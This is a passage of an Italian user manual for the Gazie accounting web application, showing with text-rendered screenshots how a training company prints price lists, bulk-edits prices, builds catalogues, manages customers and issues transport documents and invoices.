Magazzino | Articoli | Cat. Merceologiche | Movimenti | Causali | Listini | Modifica prezzi | Catalogo | Statistiche

Stampa Listino

Listino da stampare	Vendita 1
Categoria merceologica inizio	1-CATEGORIA PRINCIPALE
Categoria merceologica fine	1-CATEGORIA PRINCIPALE
Codice articolo inizio	ATPS2
Codice articolo fine	USBLIGHT

Indietro | VISUALIZZA L'ANTEPRIMA !

ANTEPRIMA LISTINO di vendita n.1

CONFERMA LA STAMPA DEL LISTINO SOTTOSTANTE !

Cat.Merceologica	Codice	Descrizione	U.M.	Prezzo
CATEGORIA PRINCIPALE	ATPS2	adattatore da AT a PS/2	pz	3,00
	CDBAG	Porta CD/DVD da viaggio	pz	5,00
	CDTOWER	Porta CD/DVD a colonna	pz	10,00
	H1000	Miele mille fiori 1 kg	pz	5,00
	HACACIA	Miele di acacia 1 kg	pz	5,00
	HKING	Pappa reale pura 10 g	pz	20,00
	HPROP	Propoli 20 g	pz	10,00
	HWAX	Cera d'api grezza 1 kg	pz	5,00
	NOTEBAG	Borsa per notebook	pz	20,00
	NOTETRACK	Zaino per notebook	pz	20,00
	NOTETRACK_2	Zaino per notebook	pz	20,00
	PENGUIN	Plastic penguin	pz	15,88
	PS2AT	adattatore da PS/2 a AT	pz	3,00
	TELO	Telo copri monitor	pz	5,00
	USBLIGHT	Luce per notebook USB	pz	10,00

Confermando con il bottone CONFERMA LA STAMPA DEL LISTINO si ottiene finalmente il listino in formato PDF.

Figura 126.109. Esempio di listino finale.

Azienda per le esercitazioni
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F.:80011540269 P.I.:80011540269

Pagina 1 di 1

TREVISO, lì 03 Dicembre 2008

Listino di vendita n.1

Codice	Descrizione	U.M.	Prezzo	Esistenza	% I.V.A.	Annotazioni
Categoria Merceologica n.1 = CATEGORIA PRINCIPALE						
ATPS2	adattatore da AT a PS/2	pz	3,00	0	20.0	
CDBAG	Porta CD/DVD da viaggio	pz	5,00	0	20.0	
CDTOWER	Porta CD/DVD a colonna	pz	10,00	0	20.0	
H1000	Miele mille fiori 1 kg	pz	5,00	0	10.0	
HACACIA	Miele di acacia 1 kg	pz	5,00	0	10.0	
HKING	Pappa reale pura 10 g	pz	20,00	0	10.0	
HPROP	Propoli 20 g	pz	10,00	0	10.0	
HWAX	Cera d'api grezza 1 kg	pz	5,00	-100	10.0	
NOTEBAG	Borsa per notebook	pz	20,00	0	20.0	
NOTETRACK	Zaino per notebook	pz	20,00	-300	20.0	
NOTETRACK_2	Zaino per notebook	pz	20,00	-300	20.0	
PENGUIN	Plastic penguin	pz	15,88	0	20.0	PET 100 gr
PS2AT	adattatore da PS/2 a AT	pz	3,00	0	20.0	
TELO	Telo copri monitor	pz	5,00	100	20.0	
USBLIGHT	Luce per notebook USB	pz	10,00	-300	20.0	

È possibile intervenire sistematicamente sui prezzi di listino, modificandoli secondo un certo criterio. Per questo serve la funzione *Magazzino*, *Modifica prezzi*; si ottiene una maschera di selezione dell'intervallo di articoli desiderato e dei criteri di modifica di un certo listino.

Figura 126.110. Maschera per la modifica sistematica di un certo listino.

Magazzino | Articoli | Cat. Merceologiche | Movimenti | Causali | Listini | Modifica prezzi | Catalogo | Statistiche

Modifica prezzi articoli

Listino base di calcolo	Vendita 1
Categoria merceologica inizio	1-CATEGORIA PRINCIPALE
Categoria merceologica fine	1-CATEGORIA PRINCIPALE
Codice articolo inizio	ATPS2
Codice articolo fine	USBLIGHT
Listino oggetto della modifica	Vendita 1
Modalità di modifica	Moltiplicazione per valore
Percentuale/valore	1.3
Arrotondamento matematico ad	10 centesimi
	Indietro ANTEPRIMA !

Con il bottone [ANTEPRIMA] si ottiene una bozza della modifica dei prezzi, la quale va eventualmente confermata successivamente con il bottone [CONFERMA MODIFICA].

Figura 126.111. Esempio di modifica proposta che può essere modificata prima di passare alla conferma definitiva.

Magazzino | Articoli | Cat. Merceologiche | Movimenti | Causali | Listini | Modifica prezzi | Catalogo | Statistiche

Modifica prezzi articoli

Listino base di calcolo	Vendita 1
Categoria merceologica inizio	1-CATEGORIA PRINCIPALE
Categoria merceologica fine	1-CATEGORIA PRINCIPALE
Codice articolo inizio	ATPS2
Codice articolo fine	USBLIGHT
Listino oggetto della modifica	Vendita 1
Modalità di modifica	Moltiplicazione per valore
Percentuale/valore	1.3
Arrotondamento matematico ad	10 centesimi
	Indietro ANTEPRIMA !

Listino di Vendita 1

Cat.Merceologica	Codice	Descrizione	U.M.	Prezzo vecchio	Prezzo nuovo
CATEGORIA PRINCIPALE	ATPS2	adattatore da AT a PS/2	pz	3,00	3,90
	CDBAG	Porta CD/DVD da viaggio	pz	5,00	6,50
	CDTOWER	Porta CD/DVD a colonna	pz	10,00	13,00
	H1000	Miele mille fiori 1 kg	pz	5,00	6,50
	HACACIA	Miele di acacia 1 kg	pz	5,00	6,50
	HKING	Pappa reale pura 10 g	pz	20,00	26,00
	HPROP	Propoli 20 g	pz	10,00	13,00
	HWAX	Cera d'api grezza 1 kg	pz	5,00	6,50
	NOTEBAG	Borsa per notebook	pz	20,00	26,00
	NOTETRACK	Zaino per notebook	pz	20,00	26,00
	NOTETRACK_2	Zaino per notebook	pz	20,00	26,00
	PENGUIN	Plastic penguin	pz	15,88	20,60
	PS2AT	adattatore da PS/2 a AT	pz	3,00	3,90
	TELO	Telo copri monitor	pz	5,00	6,50
	USBLIGHT	Luce per notebook USB	pz	10,00	13,00
					CONFERMA MODIFICA !

È possibile generare un catalogo, in formato PDF, di un gruppo di articoli, includendo eventualmente l'immagine di ogni articolo. Si ottiene con la funzione `Magazzino`, `Catalogo`, la quale porta a una maschera di selezione.

Figura 126.112. Maschera di selezione degli articoli per la produzione di un catalogo.

Magazzino | Articoli | Cat. Merceologiche | Movimenti | Causali | Listini | Modifica prezzi | Catalogo | Statistiche

Generazione File Depliant in PDF

Listino da stampare	Vendita 1
Stampa Immagini o Codici a Barre	Immagini degli articoli
Categoria merceologica inizio	1-CATEGORIA PRINCIPALE
Categoria merceologica fine	1-CATEGORIA PRINCIPALE
Codice articolo inizio	ATPS2
Codice articolo fine	USBLIGHT
	Indietro VISUALIZZA L'ANTEPRIMA !

Con il bottone VISUALIZZA L'ANTEPRIMA si ottiene l'elenco degli articoli corrispondenti alla selezione, per poter verificare che si tratti effettivamente di quelli voluti. Successivamente, con il bottone CONFERMA LA GENERAZIONE DEL FILE PDF si ottiene il catalogo finale.

Figura 126.113. Anteprima degli articoli da mettere nel catalogo, con i prezzi del listino scelto.

Magazzino | Articoli | Cat. Merceologiche | Movimenti | Causali | Listini | Modifica prezzi | Catalogo | Statistiche

Generazione File Depliant in PDF

Listino da stampare	Vendita 1
Stampa Immagini o Codici a Barre	Immagini degli articoli
Categoria merceologica inizio	1-CATEGORIA PRINCIPALE
Categoria merceologica fine	1-CATEGORIA PRINCIPALE
Codice articolo inizio	ATPS2
Codice articolo fine	USBLIGHT
	Indietro VISUALIZZA L'ANTEPRIMA !

ANTEPRIMA DEPLIANT di vendita n.1

CONFERMA LA GENERAZIONE DEL FILE PDF !

Cat.Merceologica	Codice	Descrizione	U.M.	Prezzo
CATEGORIA PRINCIPALE	ATPS2	adattatore da AT a PS/2	pz	3,90
	CDBAG	Porta CD/DVD da viaggio	pz	6,50
	CDTOWER	Porta CD/DVD a colonna	pz	13,00
	H1000	Miele mille fiori 1 kg	pz	6,50
	HACACIA	Miele di acacia 1 kg	pz	6,50
	HKING	Pappa reale pura 10 g	pz	26,00
	HPROP	Propoli 20 g	pz	13,00
	HWAX	Cera d'api grezza 1 kg	pz	6,50
	NOTEBAG	Borsa per notebook	pz	26,00
	NOTETRACK	Zaino per notebook	pz	26,00
	PENGUIN	Plastic penguin	pz	20,60
	PS2AT	adattatore da PS/2 a AT	pz	3,90
	TELO	Telo copri monitor	pz	6,50
	USBLIGHT	Luce per notebook USB	pz	13,00

Figura 126.114. Il catalogo finale.

Azienda per le esercitazioni
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F.:80011540269 P.I.:80011540269

Pagina 1 di 1

TREVISO, lì 03 Dicembre 2008

CATALOGO del 03.12.2008

Cat.Merceologica: 1 - CATEGORIA PRINCIPALE

ATPS2 adattatore da AT a PS/2 3,90 € / pz 1 N./Pack	CDBAG Porta CD/DVD da viaggio 6,50 € / pz 1 N./Pack
CDTOWER Porta CD/DVD a colonna 13,00 € / pz 1 N./Pack	H1000 Miele mille fiori 1 kg 6,50 € / pz 1 N./Pack
HACACIA Miele di acacia 1 kg 6,50 € / pz 1 N./Pack	HKING Pappa reale pura 10 g 26,00 € / pz 1 N./Pack
HPROP Propoli 20 g 13,00 € / pz 1 N./Pack	HWAX Cera d'api grezza 1 kg 6,50 € / pz 1 N./Pack
NOTEBAG Borsa per notebook 26,00 € / pz 1 N./Pack	NOTETRACK Zaino per notebook 26,00 € / pz 1 N./Pack
PENGUIN Plastic penguin 20,60 € / pz 3 N./Pack PET 100 gr	PS2AT adattatore da PS/2 a AT 3,90 € / pz 1 N./Pack
TELO Telo copri monitor 6,50 € / pz 1 N./Pack	USBLIGHT Luce per notebook USB 13,00 € / pz 1 N./Pack

126.5.7 Statistiche

È possibile produrre delle statistiche sui carichi per acquisto o gli scarichi per vendita, mettendo in evidenza le quantità o il valore. Si accede a questa statistica con la funzione `Magazzino`, `Statistiche`.

Figura 126.115. Statistiche di vendita, evidenziando le quantità scaricate.

Magazzino | Articoli | Cat. Merceologiche | Movimenti | Causali | Listini | Modifica prezzi | Catalogo | Statistiche

Statistica vendite **dell'anno** 2008 **ordinato per** Quantità

Luce per notebook USB	USBLIGHT	pz 300
Zaino per notebook	NOTETRACK	pz 300
Cera d'api grezza 1 kg	HWAX	pz 100

126.6 Vendite

La voce `Vendite` porta al menù delle funzioni relative alla gestione della fatturazione di vendita.

126.6.1 Clienti

Le informazioni sui clienti fanno parte del piano dei conti della contabilità generale, ma l'accesso a tali dati (per la creazione, la modifica, e per la situazione dei crediti verso di loro) è possibile solo dalla funzione `Vendite`, `Clienti`. Va osservato che il codice dei clienti è in pratica la porzione finale del codice del conto. Per esempio, se il mastro dei clienti (come definito nella tabella `Archivi di base`, `Azienda`) è 103000000, il conto effettivo del cliente che ha codice 000001, è in pratica 103000001.

Dalla voce `Vendite`, `Clienti`, del menù di Gazie, si ottiene una tabella riepilogativa dei dati dei clienti, come si vede nella figura successiva.

Figura 126.116. Elenco dei clienti, ottenuto da `Vendite`, `Clienti`.

Vendite | Corrispettivi | Fatture | D.d.T. | Preventivi | Ordini | Effetti | Clienti | Contratti | Agenti | Statistiche

Inserisci Nuovo Cliente   Lista dei crediti

Clienti
Num. record = 7

Ragione sociale: [ ] Cerca Mostra tutti

Codice	Ragione Sociale	Tipo	Città	Telefono	P.IVA - C.F.	Privacy	Riscuoti	Visualizza e/o stampa	Cancella
000001	Alberoni & C.	G	Scandicci (FI)	_	01720430485 01720430485				
000002	Belletti Ugo	G	Treviso (TV)	_	02403210269 02403210269				
000003	Super bit srl	G	Rimini (RN)	_	01620430403 01620430403				
000004	Emme	G	Torino (TO)	_	02513310017 02513310017				
000005	Yankee	G	Treviso (TV)	_	00496700261 00496700261				
000006	Zeta	G	Milano (MI)	_	01920430483 01920430483				
000007	Wasser	G	Treviso (TV)	_	02413310018 02413310018				

Da questa tabella, selezionando il codice di un cliente, si passa alla modifica dei dati dello stesso; la colonna «Riscuoti» contiene invece dei riferimenti che portano a produrre automaticamente le scritture contabili delle riscossioni dei crediti ancora presenti; la colonna «Visualizza o stampa», porta alla maschera per la produzione del partitario, già compilata per il cliente considerato.

Per inserire un nuovo cliente si deve procedere con la voce `Vendite`, `Clienti`, `Nuovo cliente`. La maschera di immissione è sostanzialmente uguale a quella di modifica dei dati. La figura successiva mostra la modifica del cliente Alberoni & C.

Figura 126.117. Modifica del cliente Alberoni & C.

Vendite ▾ | Corrispettivi ▾ | Fatture ▾ | D.d.T. ▾ | Preventivi ▾ | Ordini ▾ | Effetti ▾ | Clienti ▾ | Contratti ▾ | Agenti ▾ | Statistiche

Modifica il Cliente

Codice Cliente *	000001
Ragione sociale 1 *	Alberoni & C.
Ragione sociale 2	
Legale rappresentante	
Sesso/pers.giuridica (M/F/G) *	G
Data di nascita (gg-mm-aaaa)	00 00 0000
Luogo di nascita - Provincia	-
Indirizzo di spedizione *	piazza Tiritera, 28
CAP *	50018
Citta' - Provincia *	Scandicci - FI
Sede legale	
Nazione	IT - ITALIA
Telefono	
Fax	
Cellulare	
Codice Fiscale * - Partita IVA *	01720430485 - 01720430485
E_Mail	
Agente	
Banca d'appoggio	Banca della valle
Porto resa	1-FMV - franco magazzino venditore
Spedizione	1-A MEZZO DESTINATARIO
Imballo	1-Scatole di cartone
Listino da applicare (1/2/3) *	1
IBAN	
Destinazione diversa	
Destinazione ⇒ Cliente/Fornitore	Inserire min. 2 caratteri!
Massimo importo delle rate	0.00
Raggruppamento documenti (S/N)	S
Addebito spese bolli (S/N)	S
Addebito spese bancarie (S/N)	S
Addebito spese di fatturazione (S/N)	N
Stampa prezzi su D.d.T. (S/N)	S
Data ultima fattura (gg-mm-aaaa)	00 00 0000
Data ultima bolla (gg-mm-aaaa)	00 00 0000
Riduzione I.V.A	
Allegato IVA - Elenco Clienti	Si
Modalità di pagamento *	Rimessa diretta 30 g.d.f.
% Sconto da applicare	0.00
Status	
Annotazioni	
I campi contrassegnati con * sono obbligatori!	Indietro Cancella MODIFICA !

126.6.2 D.d.T.

La voce Vendite, D.d.T., conduce alla gestione dei documenti di trasporto. Per l'inserimento di un documento di trasporto si procede precisamente con la funzione Vendite, D.d.T., Emetti D.d.T..

Figura 126.118. Maschera iniziale di immissione di un nuovo documento di trasporto, ottenuta da Vendite, D.d.T., Emetti D.d.T..

Vendite | Corrispettivi | Fatture | D.d.T. | Preventivi | Ordini | Effetti | Clienti | Contratti | Agenti | Statistiche
Inserimento D.d.T. di Vendita a : inserire min. 2 carattere/i !
Sezione 1 Indirizzo Data 22 Gennaio 2009
Listino 1 Pagamento Banca
Destinazione Agente di vendita
corpo
Articolo: inserire min. 1 carattere/i ! ricerca per Descrizione Quantità: 0
Tipo: 0-Normale Ricavo: 420000006-Merci c/vendite %Sconto: 0 %Provvigioni: I.V.A.: IVA al 20%
0
Codice Descrizione U.M. Quantità Prezzo %Sc. %Provv. Importo I.V.A. Ricavo
piede
Imballo Spedizione Vettore
Porto Inizio trasporto 22 01 200 ore 10 01 Causale mag. 1-SCARICO PER VENDITA
Trasporto € 0 Peso netto 0 Peso lordo 0 N.Colli 0 Volume 0
Imponibile Imposta Merce %Sconto 0 Imponibile I.V.A. Totale €

La figura appena mostrata contiene la maschera di immissione di un documento di trasporto, ma completamente vuota. Si comincia la sua compilazione partendo dall'indicazione del cliente, fornendo le prime due lettere del nominativo, oppure (se l'elenco dei clienti è breve) mettendo due segni di percentuale ('%%'). Una volta confermato il cliente (con il bottone grafico ✓), i dati della sua configurazione vengono acquisiti automaticamente e la maschera si popola di conseguenza.

Figura 126.119. Maschera di immissione di un nuovo documento di trasporto, dopo la selezione di un cliente.

Vendite | Corrispettivi | Fatture | D.d.T. | Preventivi | Ordini | Effetti | Clienti | Contratti | Agenti | Statistiche
Inserimento D.d.T. di Vendita a : Alberoni & C. Scandicci %%
Sezione 1 Indirizzo piazza Tiritera, 28 Data 22 Gennaio 2009
Listino 1 Pagamento Rimessa diretta 30 g.d.f. Banca Banca della valle
Destinazione Agente di vendita
corpo
Articolo: inserire min. 1 carattere/i ! ricerca per Descrizione Quantità: 0
Tipo: 0-Normale Ricavo: 420000006-Merci c/vendite %Sconto: 0 %Provvigioni: I.V.A.:
0
Codice Descrizione U.M. Quantità Prezzo %Sc. %Provv. Importo I.V.A. Ricavo
piede
Imballo Scatole di cartone Spedizione A MEZZO DESTINATARIO Vettore
Porto FMV - franco magazzino vend Inizio trasporto 22 01 200 ore 10 01 Causale mag. 1-SCARICO PER VENDITA
Trasporto € 0 Peso netto 0 Peso lordo 0 N.Colli 0 Volume 0
Imponibile Imposta Merce %Sconto 0.0(Imponibile I.V.A. Totale €

Si passa quindi all'indicazione dei dati del corpo del documento, compilando il riquadro successivo a quello dei dati del cliente. Le righe del corpo del documento possono essere di vario tipo: una riga «normale» riguarda un articolo di magazzino che viene inviato per la vendita; gli altri tipi di righe consentono, tra le altre cose, l'indicazione di valori forfettari e le annotazioni libere. L'inserimento di una riga «normale» richiede l'indicazione dell'articolo di magazzino coinvolto. L'articolo va inserito tramite la ricerca di alcuni caratteri iniziali (almeno uno), ri-

feriti alla descrizione, al codice, oppure al codice a barre, selezionando opportunamente ciò che si intende. Anche in questo caso, se l'elenco degli articoli è limitato, si può utilizzare semplicemente il carattere '`%`', con cui si ottiene una tendina di selezione completa di tutti gli articoli. Quando la compilazione di una riga del corpo è completa, la si deve confermare con il bottone grafico ☑.

Figura 126.120. Maschera di immissione di un nuovo documento di trasporto, dopo l'inserimento di una riga del corpo, riferita a un articolo che viene inviato per la vendita.

Vendite | Corrispettivi | Fatture | D.d.T. | Preventivi | Ordini | Effetti | Clienti | Contratti | Agenti | Statistiche

Inserimento D.d.T. di Vendita a : Alberoni & C. Scandicci %%

Sezione 1 Indirizzo piazza Tiritera, 28 Data 22 Gennaio 2009
Listino 1 Pagamento Rimessa diretta 30 g.d.f. Banca Banca della valle
Destinazione Agente di vendita

corpo

Articolo: inserire min. 1 carattere/i ! ricerca per Descrizione Quantità: 0
Tipo: 0-Normale Ricavo: 420000006-Merci c/vendite %Sconto: 0 %Provvigioni: I.V.A.: IVA al 20% 0

Codice	Descrizione	U.M.	Quantità	Prezzo	%Sc.	%Provv.	Importo
NOTETRACK	Zaino per notebook	pz	100	20.00	0		2.000,00

piede

Imballo Scatole di cartone Spedizione A MEZZO DESTINATARIO Vettore
Porto FMV - franco magazzino vend Inizio trasporto 22 01 200 ore 10 01 Causale mag. 1-SCARICO PER VENDITA
Trasporto € 0 Peso netto 0 Peso lordo 0 N.Colli 100 Volume 0

Imponibile	Imposta	Merce	%Sconto	Imponibile	I.V.A.	Totale €	
2000.00	IVA al 20% 400.00	2000.00	0,00	2000.00	400.00	2400.00	INSERISCI !

Figura 126.121. Maschera di immissione di un nuovo documento di trasporto, dopo l'aggiunta di una riga forfettaria.

Vendite | Corrispettivi | Fatture | D.d.T. | Preventivi | Ordini | Effetti | Clienti | Contratti | Agenti | Statistiche

Inserimento D.d.T. di Vendita a : Alberoni & C. Scandicci %%

Sezione 1 Indirizzo piazza Tiritera, 28 Data 22 Gennaio 2009
Listino 1 Pagamento Rimessa diretta 30 g.d.f. Banca Banca della valle
Destinazione Agente di vendita

corpo

Articolo: inserire min. 1 carattere/i ! ricerca per Descrizione Quantità: 0
Tipo: 1-Forfait Ricavo: 420000006-Merci c/vendite %Sconto: 0 %Provvigioni: I.V.A.: IVA al 20% 0

Codice	Descrizione	U.M.	Quantità	Prezzo	%Sc.	%Provv.	
NOTETRACK	Zaino per notebook	pz	100	20.00	0	0	2
* forfait *	Personalizzazione zaini						100.0

piede

Imballo Scatole di cartone Spedizione A MEZZO DESTINATARIO Vettore
Porto FMV - franco magazzino vend Inizio trasporto 22 01 200 ore 10 01 Causale mag. 1-SCARICO PER VENDITA
Trasporto € 0 Peso netto 0 Peso lordo 0 N.Colli 100 Volume 0

Imponibile	Imposta	Merce	%Sconto	Imponibile	I.V.A.	Totale €	
2100.00	IVA al 20% 420.00	2100.00	0,00	2100.00	420.00	2520.00	INSERISCI !

Le righe del corpo che vengono immesse, appaiono progressivamente, sotto allo stesso riquadro di immissione. Alla fine di tali righe appare il bottone grafico ☒, con il quale è possibile annullare completamente la riga relativa. Verso il centro delle righe appare il bottone grafico ⇧, con il quale è possibile spostare la riga relativa in una posizione superiore. A sinistra, appare un bottone con l'indicazione del codice articolo (se si tratta di una riga «normale») oppure del tipo di riga; selezionando tale bottone grafico, si riportano i dati della riga inserita nella riga di immissione, per la modifica di ciò che eventualmente non può essere fatto sulla riga già

inserita: dopo la modifica, la riga va inserita nuovamente.

La parte inferiore della maschera di inserimento riguarda le informazioni relative all'accompagnamento della merce. Queste informazioni vengono impostate in modo predefinito sulla base della configurazione del cliente scelto e da quanto può essere ottenuto dall'anagrafica di magazzino. La data di inizio del trasporto può essere uguale a quella di emissione del documento, oppure può essere successiva (evidentemente non può essere antecedente). I dati che eventualmente fossero omessi, possono essere aggiunti a mano sul documento stampato. La conferma dell'immissione produce un file PDF, da stampare successivamente.

Figura 126.122. Risultato dell'inserimento del documento di trasporto compilato negli esempi delle figure precedenti.

Azienda per le esercitazioni
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel.
C.F. 80011540269 P.I. 80011540269

Documento di Trasporto n.1/1 del 22 Gennaio 2009
Pagina 1 di 1

Spett.le Alberoni & C.
piazza Tiritera, 28
50018 Scandicci (FI)
C.F. e P.I. 01720430485

Codice	Descrizione	U.m.	Quantit	Prezzo	%Sc.
NOTETRACK	Zaino per notebook	pz	100	20,00	0.0
	Personalizzazione zaini		0	100,00	0.0

Agente	Peso netto	Peso lordo	N.colli	Volume
			100	

Pagamento - Banca
Rimessa diretta 30 g.d.f. Banca della valle

Spedizione	Vettore	Trasporto
A MEZZO DESTINATARIO		

Inizio trasporto	Firma vettore	Firma destinatario
data 23-01-2009 ora 10:01		

Azienda per le esercitazioni piazza della Vittoria 3/4 31100 TREVISO (TV) Tel. C.F. 80011540269 P.I. 80011540269

L'inserimento di un documento di trasporto implica l'aggiornamento automatico del magazzino, per lo scarico, se, alla voce *Archivi di base*, *Azienda*, è specificato tale automatismo (si deve vedere precisamente il campo *Contabilità magazzino*, al quale deve essere associato il valore '**Automatica**').

Quando almeno un documento di trasporto risulta inserito, la voce `Vendite`, `D.d.T.`, mostra l'elenco di tali inserimenti, dove si evidenzia anche lo stato di aggiornamento del magazzino. Da tale elenco è possibile ottenere la visualizzazione dei documenti in formato PDF, ottenendo eventualmente una stampa ulteriore. Eventualmente è possibile procedere alla modifica dei documenti, selezionando il riferimento numerico relativo.

Figura 126.123. Elenco dei documenti di trasporto già inseriti che si ottiene da `Vendite`, `D.d.T.`.

Vendite | Corrispettivi | Fatture | D.d.T. | Preventivi | Ordini | Effetti | Clienti | Contratti | Agenti | Statistiche

Emetti Documento di Trasporto
D.d.T. della sezione 1
Num. record = 1

Numero: Cerca Mostra tutti

Numero	Data	Cliente	Status	Stampa	Cancella
1	2009-01-22	Alberoni & C.	GENERATO		

Figura 126.124. Modifica del documento di trasporto relativo agli esempi delle figure precedenti.

Vendite | Corrispettivi | Fatture | D.d.T. | Preventivi | Ordini | Effetti | Clienti | Contratti | Agenti | Statistiche

Modifica D.d.T. di Vendita n.1 a : Alberoni & C. Scandicci Alberoni & C

Sezione 1 Indirizzo piazza Tiritera, 28 Data 22 Gennaio 2009
Listino 1 Pagamento Rimessa diretta 30 g.d.f. Banca Banca della valle
Destinazione Agente di vendita

corpo

Articolo: inserire min. 1 carattere/i ! ricerca per Descrizione Quantità: 0
Tipo: 0-Normale Ricavo: 420000006-Merci c/vendite %Sconto: 0 %Provvigioni: I.V.A.: IVA al 20%

Codice	Descrizione	U.M.	Quantità	Prezzo	%Sc.	%Provv.	
NOTETRACK	Zaino per notebook	pz	100	20.00	0.0	0.0(	2
* forfait *	Personalizzazione zaini						100.0

piede

Imballo Scatole di cartone Spedizione A MEZZO DESTINATARIO Vettore
Porto FMV - franco magazzino vend Inizio trasporto 23 01 200 ore 10 01 Causale mag. 1-SCARICO PER VENDITA
Trasporto € 0.00 Peso netto 0.00 Peso lordo 0.00 N.Colli 100 Volume 0.00

Imponibile	Imposta	Merce	%Sconto 0.0(	Imponibile	I.V.A.	Totale €	
2100.00	IVA al 20% 420.00	2100.00	0,00	2100.00	420.00	2520.00	MODIFICA !

Per produrre le fatture differite, relative ai documenti di trasporto emessi, si usa la voce `Vendite`, `Fatture`, `Fatturazione D.d.T.`.

Figura 126.125. Maschera per la fatturazione dei documenti di trasporto emessi: `Vendite`, `Fatture`, `Fatturazione D.d.T.`.

Vendite | Corrispettivi | Fatture | D.d.T. | Preventivi | Ordini | Effetti | Clienti | Contratti | Agenti | Statistiche

Emissione fatture differite da D.d.T. della sez. 1

Selezione Cliente Tutti i clienti ! Inserire min. 2 caratteri!
Data di emissione 31 Gennaio 2009
Data DdT inizio 1 Gennaio 2009
Data DdT fine 31 Gennaio 2009
Indietro VISUALIZZA L'ANTEPRIMA !

ANTEPRIMA DI FATTURAZIONE

103000001	Alberoni & C. Scandicci FI					Fatt. n.1	Prot. n.1
da D.d.T. n.1 del 2009-01-22 ⇔ Rimessa diretta 30 g.d.f.		Escludi!					
NOTETRACK	Zaino per notebook	pz	100.000	20,000	0.0	2.000,00	
	Personalizzazione zaini		0.000	100,000	0.0	100,00	
					TOTALE	2.100,00	

CONFERMA LA GENERAZIONE DELLE FATTURE COME DA ANTEPRIMA !

126.6.3 Fatture

La voce `Vendite`, `Fatture`, conduce alla gestione delle fatture di vendita; se ci sono già delle fatture inserite in precedenza, si ottiene l'elenco di queste. Per l'inserimento di una fattura si procede precisamente con la funzione `Vendite`, `Fatture`, `Emetti fattura`.

Figura 126.126. Maschera iniziale di immissione di una nuova fattura, ottenuta da `Vendite`, `Fatture`, `Emetti fatture`.

Vendite | Corrispettivi | Fatture | D.d.T. | Preventivi | Ordini | Effetti | Clienti | Contratti | Agenti | Statistiche
Inserimento Fattura Immediata Normale a : inserire min. 2 carattere/i !
Sezione 1 Indirizzo Data 6 Febbraio 2009
Listino 1 Pagamento Banca
Destinazione Agente di vendita
corpo
Articolo: inserire min. 1 carattere/i ! ricerca per Descrizione Quantità: 0
Tipo: 0-Normale Ricavo: 420000006-Merci c/vendite %Sconto: 0 I.V.A.: IVA al 20%
%Provvigioni: 0
Codice Descrizione U.M. Quantità Prezzo %Sc. %Provv. Importo I.V.A. Ricavo
piede
Imballo Spedizione Vettore
Porto Inizio trasporto 06 02 200 ore 16 02 Causale mag. 1-SCARICO PER VENDITA
Trasporto € 0 Peso netto 0 Peso lordo 0 N.Colli 0 Volume 0
Imponibile Imposta Merce %Sconto 0 Imponibile I.V.A. Totale €

La prima cosa da definire è se si tratta di fattura «normale» o accompagnatoria; quindi va indicato il cliente a cui è destinata. Il cliente si specifica con almeno due lettere iniziali del nome, oppure, se l'elenco dei clienti è breve, con due segni di percentuale ('`%%`'). Quando appare il cliente desiderato, occorre confermare con il bottone grafico ✓.

Figura 126.127. Maschera di immissione di una nuova fattura, dopo che è stato specificato il tipo di fattura e il cliente, confermando anche con il bottone grafico ✓.

Vendite | Corrispettivi | Fatture | D.d.T. | Preventivi | Ordini | Effetti | Clienti | Contratti | Agenti | Statistiche
Inserimento Fattura Immediata Normale a : Alberoni & C. Scandicci %%
Sezione 1 Indirizzo piazza Tiritera, 28 Data 6 Febbraio 2009
Listino 1 Pagamento Rimessa diretta 30 g.d.f. Banca Banca della valle
Destinazione Agente di vendita
corpo
Articolo: inserire min. 1 carattere/i ! ricerca per Descrizione Quantità: 0
Tipo: 0-Normale Ricavo: 420000006-Merci c/vendite %Sconto: 0 I.V.A.:
%Provvigioni: 0
Codice Descrizione U.M. Quantità Prezzo %Sc. %Provv. Importo I.V.A. Ricavo
piede
Imballo Scatole di cartone Spedizione A MEZZO DESTINATARIO Vettore
Porto FMV - franco magazzino vend Inizio trasporto 06 02 200 ore 16 02 Causale mag. 1-SCARICO PER VENDITA
Trasporto € 0 Peso netto 0 Peso lordo 0 N.Colli 0 Volume 0
Imponibile Imposta Merce %Sconto 0.0(Imponibile I.V.A. Totale €

Sulla base del cliente scelto, la porzione inferiore della maschera di inserimento viene compilata con i dati predefiniti associati allo stesso. Si può osservare anche che si inserisce la data di emissione, ma non il numero del documento, essendo questo determinato automaticamente in base alla serie di numerazione scelta (la sezione).

Per il resto, l'inserimento della fattura funziona esattamente come per il documento di trasporto. Va però osservato che nella fattura, la porzione di maschera con i dati per l'accompagna-

mento della merce compare in ogni caso, anche se si tratta di fattura «normale», nella quale tali dati non hanno significato e non vengono poi stampati effettivamente.

Figura 126.128. Risultato dell'inserimento di una fattura «normale».

Azienda per le esercitazioni
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel.
C.F. 80011540269 P.I. 80011540269

Fattura immediata n.1 del 06 Febbraio 2009
Pagina 1 di 1

Spett.le Alberoni & C.
piazza Tiritera, 28
50018 Scandicci (FI)
C.F. e P.I. 01720430485

Codice	Descrizione	U.m.	Quantit	Prezzo	%Sc.	Importo	%IVA
NOTETRACK	Zaino per notebook	pz	100	20,00		2.000,00	20,00

Totale merce	% Sconto	Spese Incasso	Trasporto	Tot.Imponibile	Tot. I.V.A.	Bolli
2.000,00				2.000,00	400,00	

Pagamento	Castelletto I.V.A.			TOTALE FATTURA
	Imponibile	Aliquota	Imposta	
Rimessa diretta 30 g.d.f.	2.000,00	IVA al 20%	400,00	€ 2.400,00

Date di Scadenza e Importo Rate				Totale dei riporti
08-03-2009	--	--	--	
2.400,00				

Azienda per le esercitazioni piazza della Vittoria 3/4 31100 TREVISO (TV) Tel. C.F. 80011540269 P.I. 80011540269

Figura 126.129. Risultato dell'inserimento di una fattura accompagnatoria.

Azienda per le esercitazioni
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel.
C.F. 80011540269 P.I. 80011540269

Fattura immediata n.1 del 06 Febbraio 2009
Pagina 1 di 1

Spett.le Alberoni & C.
piazza Tiritera, 28
50018 Scandicci (FI)
C.F. e P.I. 01720430485

Codice	Descrizione	U.m.	Quantit	Prezzo	%Sc.	Importo	%IVA
NOTETRACK	Zaino per notebook	pz	100	20,00		2.000,00	20,00

Agente	Peso netto	Peso lordo	N.colli	Volume
			100	

